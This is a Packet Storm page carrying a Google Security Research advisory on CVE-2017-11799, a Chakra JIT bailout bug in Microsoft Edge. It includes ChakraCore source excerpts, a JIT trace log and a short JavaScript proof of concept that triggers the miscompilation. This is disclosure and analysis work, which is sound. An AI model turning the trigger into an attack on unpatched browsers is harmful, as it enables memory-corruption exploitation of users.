Twenty Year Anniversary

Microsoft Edge Chakra JIT Incorrect GenerateBailOut Calling Patterns

Microsoft Edge Chakra JIT Incorrect GenerateBailOut Calling Patterns
Posted Oct 14, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT compiler creates incorrect GenerateBailOut calling patterns.

tags | exploit
advisories | CVE-2017-11799
MD5 | 11f1ed6218c70a607f5e232014a97289

Microsoft Edge Chakra JIT Incorrect GenerateBailOut Calling Patterns

Change Mirror Download
 Microsoft Edge: Chakra: JIT: Incorrect GenerateBailOut calling patterns 

CVE-2017-11799


Bailout:
"ChakraCoreas background JIT compiler generates highly optimized JITaed code based upon the data and infers likely usage patterns based on the profile data collected by the interpreter. Given the dynamic nature of JavaScript code, if the code gets executed in a way that breaks the profile assumptions, the JITaed code abails outa to the interpreter where the slower bytecode execution restarts while continuing to collect more profile data."

From <a href="https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview" title="" class="" rel="nofollow">https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview</a>



One of the ways to generate bailouts in Chakra is to directly change the opcode of an instruction that can't be JITed. This is performed by the method "Lowerer::GenerateBailOut".


Here's a snippet of Lowerer::GenerateBailOut.
...
// Call the bail out wrapper
instr->m_opcode = Js::OpCode::Call;
if(instr->GetDst())
{
// To facilitate register allocation, don't assign a destination. The result will anyway go into the return register,
// but the register allocator does not need to kill that register for the call.
instr->FreeDst();
}
instr->SetSrc1(IR::HelperCallOpnd::New(helperMethod, this->m_func));
m_lowererMD.LowerCall(instr, 0);

Here's some calling patterns of the method.

1.
instr->FreeSrc1();
instr->FreeSrc2();
this->GenerateBailOut(instr);

2.
stElem->FreeSrc1();
stElem->FreeDst();
GenerateBailOut(stElem, nullptr, nullptr);

Judging from the method code that doesn't care about "Src2" and the calling patterns, freeing or unlinking "Src1" and "Src2" is up to the callers. I could spot some points that don't free or unlink an instuction's "Src2", despite the instruction has "Src2". In these cases, it ends up to be converted to "Js::OpCode::Call" with "Src2". So, what happens if a Call instruction has "Src2"?

Here's the trace log of the PoC.
$L13: [helper]

s51<-48> = MOV s51(<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>) 4C 89 6D D0
(rdi).u64 = MOV 0xXXXXXXXX (BailOutRecord).u64 48 BF 78 23 00 7C 17 7F 00 00
(rax).u64 = MOV SaveAllRegistersAndBailOut.u64 48 B8 20 92 19 93 1F 7F 00 00
CALL (rax).u64, s51(<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>) 49 FF C5
JMP $L14 E9 00 00 00 00
StatementBoundary #-1


"CALL (rax).u64, s51(<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>)" is what Chakra wanted to generate(despite CALLs don't take the second operand). "49 FF C5" is x86-64 code actually generated and disassembled as "inc <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>". This also means there's a bug in the x86-64 assembler.


PoC bug:
The following buggy method is used to convert a St*Fld instruction to a bailout. Unlike just "StFld" instructions, "StSuperFld" instructions take "Src2" as "this". So the following method should have freed "Src2".

bool
Lowerer::GenerateStFldWithCachedType(IR::Instr *instrStFld, bool* continueAsHelperOut, IR::LabelInstr** labelHelperOut, IR::RegOpnd** typeOpndOut)
{
...
instrStFld->m_opcode = Js::OpCode::BailOut;
instrStFld->FreeSrc1();
<<----------- should call FreeSrc2
instrStFld->FreeDst();

this->GenerateBailOut(instrStFld);
...
}

PoC:
class MyClass {
constructor() {
this.arr = [1, 2, 3];
}

f() {
super.arr = [1];
this.x; // for passing BackwardPass::DeadStoreTypeCheckBailOut ?
}
}

let c = new MyClass();
for (let i = 0; i < 0x10000; i++) {
c.f();
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    15 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close